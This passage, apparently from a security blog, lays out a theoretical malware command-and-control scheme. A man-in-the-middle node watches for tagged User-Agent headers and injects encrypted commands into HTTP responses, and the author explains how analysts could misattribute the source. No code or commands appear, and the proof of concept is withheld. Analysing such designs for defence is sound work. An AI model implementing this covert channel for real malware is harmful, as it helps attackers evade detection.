The above diagram starts with an infected machine with malware (1) that is built to communicate via this infrastructure using HTTP GET requests.  The malware can be designed to communicate directly out, spoofing its User-Agent during the request. Perhaps the malware works like Superfish or Privdog breaking secure communications. Or it could be designed to parse outbound traffic and modify or tag the HTTP User-Agent header to a slightly different string making it identifiable from other HTTP requests on the web.  Furthermore, this malware will add an additional header; name doesn’t matter as the specifications allow flexibility, which will be used to pass encrypted data that is also base64 encoded. 

Next the HTTP request traverses the Internet from routing node to routing node as it makes it way to the requested HTTP server.  Along this path, a (2) Malicious/Evil Node inspects traffic for the unique User-Agent used by the malware. When the unique User-Agent request passes through this node, the C2 implementation tracks it, decrypts the encrypted message (if there), and waits for the response from the server.  One idea is that it again slightly modifies the User-Agent to avoid another malicious nodes in the route from modifying the request.  The modification could be as simple as removing the known tag from the User-Agent string.

The HTTP server (3) receives and (4) responds to the HTTP GET request.

The server’s HTTP response traverses back to the originating request (5) crossing the malicious node once again. As the response is handled, the malicious node injects a command for the malware into the either the HTML content as a comment with a unique tag or as an added unique HTTP response header that uses the same encryption scheme as the malware.

Finally the (6) HTTP response makes it way back to the originating machine, the malware either handles the request directly or intercepts the request, parses the request for encrypted commands, scrubs the request modifications in memory, then presents the response back to the user. Depending on the command, the malware will wait (sleep) until the next predetermined beaconing (1) attempt to contact the MitM C2 Node with the results of the prior command, if necessary.

I’ve written a POC to test portions of my thoughts; the client and server are written in python, with the C2 using mitmProxy.   After contemplation, I am not releasing the POC.  I believe it would not be useful to the pentester outside of an attacker controlled wireless access point and otherwise difficult to implement.  If I get enough feedback wanting a robust implementation, perhaps I'll build something.


Many malware analysts work in a vacuum. Because of OPSEC, they cannot share their samples and indicators of compromise (IOCs) openly on the Internet. This balkanization of knowledge is not equipped to find a MitM malware C2 infrastructure. To the malware analyst, the contacted web server will appear to be the source of commands, especially for sites that are not popular (Ex: The analyst will write the site up as the C2, finish the network forensics part of the investigation, and continue on to other tasks.  The true C2 will go undetected; the patsy site will be determined as compromised, blocked within that organization, and at worse shared with a closed-source threat intelligence group.

Determining if the web server is compromised in this scenario will depend on the implementation of the malware.  In contrast to the prior example, if the malware uses multiple HTTP servers, especially popular sites, the analyst might determine that not all sites are compromised.  At this point, the analyst could take the risk of checking out of bounds via Tor network or a VPN service.  This would be a calculated risk as Malware authors of traditional end point C2s could have their servers configured to recognize requests from Tor exit nodes or outside of their target networks, thereby alerting that their malware samples have been found.

The other way to catch this type of threat is to monitor the change in server responses from node to node to determine when the C2 injects traffic - currently an impossible task. To stop this potential threat we need HTTPS everywhere and strong host security that is not undermined by vendor implementations. 

In Conclusion

I encourage malware analysts to look at malware C2 implementations differently and consider this as a potential avenue, albeit improbable. For companies with massive amounts of historical malware C2 data, it would be interesting exercise to determine which malware samples and classes could fall into this type of C2.